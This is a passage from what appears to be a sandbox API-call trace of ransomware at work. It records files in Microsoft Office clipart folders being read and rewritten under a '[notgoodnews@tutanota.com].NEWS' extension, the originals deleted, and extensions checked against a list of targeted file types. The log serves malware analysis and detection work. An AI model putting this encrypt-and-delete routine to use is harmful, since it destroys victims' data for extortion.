dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.653] GetLastError () returned 0x0 [0187.653] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x610c, lpOverlapped=0x0) returned 1 [0187.658] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6110, lpOverlapped=0x0) returned 1 [0187.659] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.659] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.659] SetEndOfFile (hFile=0x560) returned 1 [0187.660] CloseHandle (hObject=0x560) returned 1 [0187.660] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.660] SetEndOfFile (hFile=0x54c) returned 1 [0187.663] CloseHandle (hObject=0x54c) returned 1 [0187.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0187.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.665] lstrlenW (lpString=".doc") returned 4 [0187.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString=".docx") returned 5 [0187.665] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0187.665] lstrlenW (lpString=".pdf") returned 4 [0187.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString=".xls") returned 4 [0187.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.665] lstrlenW (lpString=".xlsx") returned 5 [0187.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0187.665] lstrlenW (lpString=".ppt") returned 4 [0187.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.665] lstrlenW (lpString=".zip") returned 4 [0187.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.665] lstrlenW (lpString=".rar") returned 4 [0187.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString=".bz2") returned 4 [0187.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString=".7z") returned 3 [0187.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.665] lstrlenW (lpString=".dbf") returned 4 [0187.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".1cd") returned 4 [0187.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".jpg") returned 4 [0187.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".doc") returned 4 [0187.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString=".docx") returned 5 [0187.666] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0187.666] lstrlenW (lpString=".pdf") returned 4 [0187.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString=".xls") returned 4 [0187.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.666] lstrlenW (lpString=".xlsx") returned 5 [0187.666] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0187.666] lstrlenW (lpString=".ppt") returned 4 [0187.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".zip") returned 4 [0187.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.666] lstrlenW (lpString=".rar") returned 4 [0187.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString=".bz2") returned 4 [0187.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString=".7z") returned 3 [0187.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".dbf") returned 4 [0187.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.666] lstrlenW (lpString=".1cd") returned 4 [0187.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0187.667] lstrlenW (lpString=".jpg") returned 4 [0187.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.667] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.667] lstrlenW (lpString="J0152560.WMF") returned 12 [0187.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.668] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10880) returned 1 [0187.668] CloseHandle (hObject=0x54c) returned 1 [0187.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220 [0187.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.669] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.669] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.670] GetLastError () returned 0x0 [0187.670] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2a80, lpOverlapped=0x0) returned 1 [0187.672] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2a90, lpOverlapped=0x0) returned 1 [0187.673] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.673] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.673] SetEndOfFile (hFile=0x560) returned 1 [0187.673] CloseHandle (hObject=0x560) returned 1 [0187.673] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.673] SetEndOfFile (hFile=0x54c) returned 1 [0187.677] CloseHandle (hObject=0x54c) returned 1 [0187.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0187.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.682] lstrlenW (lpString=".doc") returned 4 [0187.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.682] lstrlenW (lpString=".docx") returned 5 [0187.682] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.682] lstrlenW (lpString=".pdf") returned 4 [0187.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.682] lstrlenW (lpString=".xls") returned 4 [0187.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.682] lstrlenW (lpString=".xlsx") returned 5 [0187.682] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.682] lstrlenW (lpString=".ppt") returned 4 [0187.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".zip") returned 4 [0187.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.683] lstrlenW (lpString=".rar") returned 4 [0187.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString=".bz2") returned 4 [0187.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString=".7z") returned 3 [0187.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".dbf") returned 4 [0187.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".1cd") returned 4 [0187.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".jpg") returned 4 [0187.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".doc") returned 4 [0187.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString=".docx") returned 5 [0187.683] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.683] lstrlenW (lpString=".pdf") returned 4 [0187.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString=".xls") returned 4 [0187.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.683] lstrlenW (lpString=".xlsx") returned 5 [0187.683] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.683] lstrlenW (lpString=".ppt") returned 4 [0187.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.683] lstrlenW (lpString=".zip") returned 4 [0187.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.684] lstrlenW (lpString=".rar") returned 4 [0187.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString=".bz2") returned 4 [0187.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString=".7z") returned 3 [0187.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.684] lstrlenW (lpString=".dbf") returned 4 [0187.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.684] lstrlenW (lpString=".1cd") returned 4 [0187.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0187.684] lstrlenW (lpString=".jpg") returned 4 [0187.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.684] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.684] lstrlenW (lpString="J0152568.WMF") returned 12 [0187.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.685] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3696) returned 1 [0187.685] CloseHandle (hObject=0x54c) returned 1 [0187.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0187.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.686] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.686] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.687] GetLastError () returned 0x0 [0187.687] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xe70, lpOverlapped=0x0) returned 1 [0187.916] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe80, lpOverlapped=0x0) returned 1 [0187.917] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.917] WriteFile (in: hFile=0x560, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.918] SetEndOfFile (hFile=0x560) returned 1 [0187.918] CloseHandle (hObject=0x560) returned 1 [0187.918] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.918] SetEndOfFile (hFile=0x54c) returned 1 [0187.925] CloseHandle (hObject=0x54c) returned 1 [0187.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.927] lstrlenW (lpString=".doc") returned 4 [0187.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.927] lstrlenW (lpString=".docx") returned 5 [0187.927] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.927] lstrlenW (lpString=".pdf") returned 4 [0187.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.927] lstrlenW (lpString=".xls") returned 4 [0187.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.927] lstrlenW (lpString=".xlsx") returned 5 [0187.927] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.927] lstrlenW (lpString=".ppt") returned 4 [0187.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.927] lstrlenW (lpString=".zip") returned 4 [0187.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.927] lstrlenW (lpString=".rar") returned 4 [0187.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.927] lstrlenW (lpString=".bz2") returned 4 [0187.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.927] lstrlenW (lpString=".7z") returned 3 [0187.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.927] lstrlenW (lpString=".dbf") returned 4 [0187.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".1cd") returned 4 [0187.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".jpg") returned 4 [0187.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".doc") returned 4 [0187.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString=".docx") returned 5 [0187.928] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.928] lstrlenW (lpString=".pdf") returned 4 [0187.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString=".xls") returned 4 [0187.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.928] lstrlenW (lpString=".xlsx") returned 5 [0187.928] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.928] lstrlenW (lpString=".ppt") returned 4 [0187.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".zip") returned 4 [0187.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.928] lstrlenW (lpString=".rar") returned 4 [0187.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString=".bz2") returned 4 [0187.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString=".7z") returned 3 [0187.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".dbf") returned 4 [0187.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.928] lstrlenW (lpString=".1cd") returned 4 [0187.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0187.929] lstrlenW (lpString=".jpg") returned 4 [0187.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.929] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.929] lstrlenW (lpString="J0152622.WMF") returned 12 [0187.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.962] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9604) returned 1 [0187.962] CloseHandle (hObject=0x574) returned 1 [0187.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0187.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.965] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.965] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.967] GetLastError () returned 0x0 [0187.967] ReadFile (in: hFile=0x574, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2584, lpOverlapped=0x0) returned 1 [0187.970] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, 